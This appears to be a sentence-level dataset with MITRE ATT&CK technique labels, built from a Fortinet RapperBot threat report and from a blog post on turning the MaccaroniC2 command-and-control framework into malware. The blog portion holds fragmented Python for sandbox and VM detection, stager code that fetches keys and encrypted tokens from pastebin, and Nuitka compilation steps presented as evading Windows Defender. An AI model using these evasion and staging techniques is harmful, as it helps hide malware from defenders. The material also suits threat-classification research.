{"sentence": "Although this new campaign has evolved significantly from previous campaigns, mitigating it remains the same—setting strong passwords for all devices connected to the internet.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard Labs will continue to monitor RapperBot’s development.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Fortinet Protections The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai, Linux/Mirai, and ELF/Gafgyt.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard Labs provides the Rapper.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Botnet IPS signature against RapperBot C2 activity.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The FortiGuard Web Filtering Service blocks the C2 servers and download URLs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "IOCs Files 3d5c5d9e792e0a5f3648438b7510b284f924ab433f08d558b6e082e1d5414a03 7afcac5f71e9205879e0e476d3388898a62e7aa4a3e4a059884f40ea36cfd57f 8ec79a35700f6691f0d88d53647e9f2b75648710ecd119e55815331fc3bdd0b5 a12ad4bc394d60bc037271e1c2df1bd2b87bdaaba85f6c1b7d046341f027cc2d f000bf482040b48595badee1fc56afb95449ac48b5dc35fe3a05542cbf18f658 4aa9175c1846557107ec197ea73d4cc8dbe6d575a8fd86ae214ff9b3a00e438b f98261eb7dc122449c158118cc9c660683206983a9e90ff73eb88c4705e0c48e Download URLs hxxp://185[.]216[.]71[.]149/armv4l hxxp://185[.]216[.]71[.]149/armv5l hxxp://185[.]216[.]71[.]149/armv6l hxxp://185[.]216[.]71[.]149/armv7l hxxp://185[.]216[.]71[.]149/mips hxxp://185[.]216[.]71[.]149/mipsel hxxp://185[.]216[.]71[.]149/powerpc hxxp://185[.]216[.]71[.]149/sparc hxxp://185[.]216[.]71[.]149/sh4 hxxp://185[.]216[.]71[.]149/bot_arm4_el hxxp://185[.]216[.]71[.]149/bot_arm5_el hxxp://185[.]216[.]71[.]149/bot_arm6_el hxxp://185[.]216[.]71[.]149/bot_arm7_el hxxp://185[.]216[.]71[.]149/bot_mips_eb hxxp://185[.]216[.]71[.]149/bot_mips_el hxxp://185[.]216[.]71[.]149/bot_sh_el C2 185[.]216[.]71[.]149 Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Sign up to receive our threat research blogs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "2 0 DISCLAIMER – This article is provided for educational and informational purposes only.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The author and publisher of this article shall not be held responsible for any misuse or illegal activities conducted by individuals or entities based on the information provided.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Additionally, it’s important to note that the usage of Ngrok in conjunction with MaccaroniC2 tool may result in the violation of the terms of service or policies of certain platforms.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Introduction Embark on a journey into the intricate world of cyber attacks as we unravel paths taken by adversaries from malware creation to data exfiltration.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this comprehensive exploration, we delve into the stages that comprise the attack lifecycle, analyzing the process from infecting to exfiltration, with a particular focus on weaponization.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Presenting MaccaroniC2 In this article, we’ll explore MaccaroniC2 ( https://github.com/CalfCrusher/MaccaroniC2 ), a proof-of-concept Command & Control framework that leverages the versatile features of the AsyncSSH Python library ( https://asyncssh.readthedocs.io ) with the integration of PyNgrok, a wrapper for Ngrok ( https://ngrok.com ).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This tool is designed to address a specific scenario where the victim operates an AsyncSSH server and establishes an external tunnel, eagerly awaiting commands from the attacker.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By harnessing the powerful capabilities of the AsyncSSH library, which provides an exceptional implementation of the SSHv2 protocol, this tool ensures efficient and secure communication between the attacker and the victim.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Some key features of the AsyncSSH library include: Asynchronous Execution: AsyncSSH is built with asynchronous programming in mind, allowing you to perform SSH operations concurrently without blocking the execution flow.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "SSH Protocol Support: It provides support for various SSH protocol versions, including SSH1, SSH2, and the ability to negotiate and handle different encryption and authentication methods.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Key-Based Authentication: AsyncSSH supports public key authentication, allowing you to authenticate with SSH servers using key pairs instead of passwords.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "SFTP Support: It includes a built-in SFTP (SSH File Transfer Protocol) implementation, enabling you to securely transfer files between the local and remote systems over the SSH connection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Event-driven API:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The library follows an event-driven programming model, allowing you to register event handlers and callbacks to handle SSH-related events such as connection establishment, authentication, command execution, and data transfer.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In a hardened network environment scenario, establishing a connection to an Ngrok server can be easily detected by EDR (Endpoint Detection and Response) systems and other tools designed to monitor network traffic.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To avoid raising suspicion and maintaining a higher level of control over the server setup, it is recommended to use a self-hosted server instead of Ngrok.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Check the project: https://github.com/CalfCrusher/MaccaroniC2 Weaponizing malware: MaccaroniC2 with steroids In real-world scenarios, it is essential to embrace the mindset of a determined threat actor striving to enhance the effectiveness of their malware while maintaining covert operations.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "With this objective in mind, we will delve into custom modifications to the server side of MaccaroniC2, uncovering fundamental concepts that enable us to effectively weaponize our tool for diverse real-world scenarios.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Virtualization/Sandbox Evasion are those techniques utilized by adversaries as a part of their defense evasion strategy to detect and avoid virtualization and analysis environments, such as malware analysis sandboxes.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Sandbox evasion is indeed a complex and evolving field.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "While it’s not possible to cover all aspects of sandbox evasion in just a few lines of Python code, we’ll see some general basic techniques and concepts that can be used to try to recognize a sandbox or a virtual environment:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 1: Check for common sandbox-related processes sandbox_processes =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[\"vmsrvc.exe\", \"vmusrvc.exe\", \"vboxservice.exe\", \"vboxtray.exe\", \"vmtoolsd.exe\", \"vmacthlp.exe\", \"vmtools.exe\", \"df5serv.exe\"] running_processes = subprocess.check_output(\"tasklist\", shell=True).decode().lower()", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This code essentially checks if certain processes that are commonly associated with sandbox environments or virtual machines are running.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This information can be helpful in determining whether the code is running in a protected or controlled environment rather than on a regular user’s machine.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 3: Check if running in a sandboxed network environment sandboxed_networks =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[\"10.0.2.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"192.168.44.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.0.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.1.\", \"172.16.2.\", \"172.16.3.\", \"172.16.4.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.5.\", \"172.16.6.\", \"172.16.7.\", \"172.16.8.\", \"172.16.9.\", \"172.16.10.\", \"172.16.11.\", \"172.16.12.\", \"172.16.13.\", \"172.16.14.\", \"172.16.15.\"] local_ip = socket.gethostbyname(socket.gethostname())", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Here we can see how this code comparing the local IP address with a predefined list of network addresses typically associated with sandboxed environments.", "labels": ["T1016"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If the local IP address matches any of the addresses in the list, it suggests that the program could be ran in a sandboxed environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s just the first clue but we have to start somewhere ;).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 4: Check for virtualized CPU features cpu_info = cpuinfo.get_cpu_info() virtualized_cpu_features =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[\"hypervisor\", \"vmx\", \"svm\", \"vmm\", \"nx\"] if any(feature in cpu_info[\"flags\"] for feature in virtualized_cpu_features): return True", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Here we can see another piece of code that checks for virtualization by examining the CPU features.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It uses the cpuinfo Python module to retrieve information about the CPU.", "labels": ["T1082"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The code defines a list of virtualized CPU features and then checks if any of these features are present in the CPU information’s “flags” field.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If any feature is found, the code returns True, indicating the presence of virtualization.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 5: Check if disk size is greater than 50 GB min_disk_size_gb = 50 if len(sys.argv) >", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "1: min_disk_size_gb = float(sys.argv[1]) _, disk_size_bytes, _ = win32api.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "GetDiskFreeSpaceEx() disk_size_gb = disk_size_bytes / 1073741824", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "if disk_size_gb > min_disk_size_gb: return False # Proceed else: return True # Not Proceed This code checks if the disk size is greater than a specified threshold (50 GB as example).", "labels": ["T1082"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It uses the win32api.", "labels": ["T1082", "T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "GetDiskFreeSpaceEx() function to retrieve the disk size in bytes.", "labels": ["T1082", "T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It converts the size to gigabytes by dividing it by 1073741824 (the number of bytes in a gigabyte).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "After comparing the disk size in gigabytes to the specified min_disk_size_gb, if the disk size is greater, the code returns False.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However, if the disk size falls below the minimum threshold, it returns True, signaling that the script should stop from proceeding further because we assume that we’re inside a VM environment or a sandbox.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It should be noted that these techniques are basic examples and represent fundamental practices in the field of malware development and sandbox detection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Let’s go further.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In MaccaroniC2 original tool, the SSH Pub Key is hardcoded.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "What about requesting it every time script is running ?", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this case we choose to host it online for multiple reasons: Usually, attackers employs techniques by leveraging third-party services such pastebin.com and similars, to store piece of code or stagers.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This method of operation, widely utilized by advanced threat actors, is a classic within the realm of Advanced Persistent Threats (APTs).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By employing multiple layers of staging, the attacker artfully conceals the true nature of the malware, placing it several steps removed from the initial infection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "def get_pub_key(): \"\"\"Get SSH pub key from third party service\"\"\" try: global PRIVATE_KEY global AUTHORIZED_KEY url = \"https://pastebin.com/raw/XXXXXXX\" r = requests.get(url) if r.status_code == 200: pub_key", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "= r.text.strip('\\n') elif r.status_code == 404: exit() #", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "So Long, and Thanks for All the Fish!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "except: exit('[-]", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Error: Could not get SSH pub key')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As we can see, in this approach we take a different path by avoiding the hardcoding of the pub_key and instead harnessing the advantages provided by services such as pastebin.com, transfersh.com or similar services.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It offers flexibility in determining the number of allowed downloads and the duration for which files will be stored.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Additionally, some of these platforms even allow for modifying the content of generated URI, enhancing the adaptability and control over the shared resources.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By embracing this approach, we could have the capability to generate fresh RSA key pairs, empowering our tool to download a different key in the subsequent system reboot.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This becomes particularly valuable when pursuing persistence objectives.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To enhance control, we could also incorporate a dedicated function that checks for the removal of the pub_key: if such a detection occurs, then proceed to initiate the removal of its own presence or any existing persistence mechanisms.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Additionally, we could incorporate a special Canary Token within our script: Canary tokens are unique markers that are placed within systems or scripts to act as early warning indicators.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "They allow us to detect specific events or actions with an extensive range of options to create decoy assets, each designed to provide valuable intelligence and real-time notifications: from email alerts to webhook integrations and many other features for monitoring and security needs.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "For further information check official site: https://canarytokens.org/generate", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In our case, we could configure the script to perform a designated action if the URI is no longer accessible, such as notifying us if the file has been removed.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "When the script fails to download the id_rsa.pub key, it triggers a canary token, which generates a signal after encountering a 404 error status code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this case we received an email alerting us of the event.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Dynamic and crypted AUTH Ngrok Token", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In MaccaroniC2 original tool, the Ngrok Auth Token is hardcoded also.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this scenario, we’ll apply a similar approach as before, but with a slight twist: we want to avoid publicly uploading our token in plain text.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To achieve this, we’ll encrypt the token and upload it to a file-sharing service like transfersh.com The script will download and decrypt the string that represents the token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This decryption process utilizes the Fernet algorithm, ensuring the secure retrieval and utilization of the token.", "labels": ["T1140", "T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection.", "labels": ["T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It is a part of the cryptography library in Python called “cryptography.”", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption.", "labels": ["T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The Fernet token format includes the encrypted data and a timestamp to prevent tampering.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "def fernet_decrypt(encrypted_string, password): \"\"\"Decrypt Ngrok AUTH Token\"\"\" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-]", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Error: Could not decrypt AUTH Token') def get_auth_token(): \"\"\"Get AUTH Token from third party service\"\"\" try:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "url = \"https://pastebin.com/raw/YYYYYY\" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!'", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "crypted_data = r.text.strip('\\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Error: Could not get AUTH Token')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The provided code includes two functions: fernet_decrypt and get_auth_token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It returns the decrypted message as a decoded string.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It checks the response status code and proceeds accordingly.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes .", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This can make the malware distribution easier and less reliant on specific Python versions or configurations.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Code Protection:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process.", "labels": ["T1027"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Detection Evasion:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This may offer a limited advantage in evading detection by some antivirus or security solutions.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Installation and compilation is straightforward:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "python -m pip install nuitka python", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Nice !", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Let’s try on VirusTotal Not bad !", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It also demands continuous research and adaptation as antivirus technologies evolve.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This just opens up new possibilities for evading detection, when using Python to develop malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
